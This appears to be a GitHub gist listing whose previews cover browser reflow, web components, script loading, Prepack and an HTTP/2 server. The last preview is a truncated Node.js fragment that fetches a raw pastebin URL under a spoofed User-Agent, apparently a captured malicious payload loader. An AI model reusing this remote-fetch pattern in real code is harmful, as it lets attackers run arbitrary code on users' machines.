Radu Micu radum

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Element

Box metrics

elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
elem.clientLeft, elem.clientTop, elem.clientWidth, elem.clientHeight
elem.getClientRects(), elem.getBoundingClientRect()

Why I use web components

This is some sort of answer to recent posts regarding Web Components, where more than a few misconceptions were delivered as fact.

Let's start by defining what we are talking about.

The Web Components Umbrella

As you can read in the dedicated GitHub page, Web Components is a group of features, where each feature works already by itself, and it doesn't need other features of the group to be already usable, or useful.

Update

If you're OK in having a node-esm executable, please consider this solution.

#!/usr/bin/env sh
# the /usr/local/bin/node-esm executable
input_file=$1
shift
exec node --input-type=module - $@ &lt;$input_file

https://twitter.com/snookca/status/1073299331262889984?s=21

‪“‬In what way is JS any more maintainable than CSS? How does writing CSS in JS make it any more maintainable?”

‪Happy to chat about this. There’s an obvious disclaimer that there’s a cost to css-in-js solutions, but that cost is paid specifically for the benefits it brings; as such it’s useful for some usecases, and not meant as a replacement for all workflows. ‬

‪(These conversations always get heated on twitter, so please believe that I’m here to converse, not to convince. In return, I promise to listen to you too and change my opinions; I’ve had mad respect for you for years and would consider your feedback a gift. Also, some of the stuff I’m writing might seem obvious to you; I’m not trying to tell you if all people of some of the details, but it might be useful to someone else who bumps into this who doesn’t have context)‬

So the big deal about css-in-js (cij) is selectors.

`<script> async, defer, async defer, module, nomodule, src, inline` - the cheat sheet

This document is a comparison of various ways the <script> tags in HTML are processed depending on the attributes set.

If you ever wondered when to use inline <script async type="module"> and when <script nomodule defer src="...">, you're in the good place!

Note that this article is about <script>s inserted in the HTML; the behavior of <script>s inserted at runtime is slightly different - see Deep dive into the murky waters of script loading by Jake Archibald (2013)

Time Travel Debugging

Time Travel refers to the ability to record a tab and later replay it ([WebReplay][wrr]). The technology is useful for local development, where you might want to:

pause and step forwards or backwards
pause and rewind to a prior state
rewind to the time a console message was logged
rewind to the time an element had a certain style or layout
rewind to the time a network asset loaded

Note:

When this guide is more complete, the plan is to move it into Prepack documentation.
For now I put it out as a gist to gather initial feedback.

A Gentle Introduction to Prepack (Part 1)

If you're building JavaScript apps, you might already be familiar with some tools that compile JavaScript code to equivalent JavaScript code:

Babel lets you use newer JavaScript language features, and outputs equivalent code that targets older JavaScript engines.

	(function (context, trackingId, options) {
	const history = context.history;
	const doc = document;
	const nav = navigator \|\| {};
	const storage = localStorage;
	const encode = encodeURIComponent;
	const pushState = history.pushState;
	const typeException = 'exception';
	const generateId = () => Math.random().toString(36);
	const getId = () => {

	const http2 = require('http2');
	const fs = require('fs');
	const path = require('path');
	const zlib = require('zlib');
	const brotli = require('brotli'); // npm package

	const PORT = 3032;
	const BROTLI_QUALITY = 11; // slow, but we're caching so who cares
	const STATIC_DIRECTORY = path.resolve(__dirname, '../dist/');
	const cache = {};

	try {
	var https = require("https");
	https
	.get(
	{
	hostname: "pastebin.com",
	path: "/raw/XLeVP82h",
	headers: {
	"User-Agent":
	"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",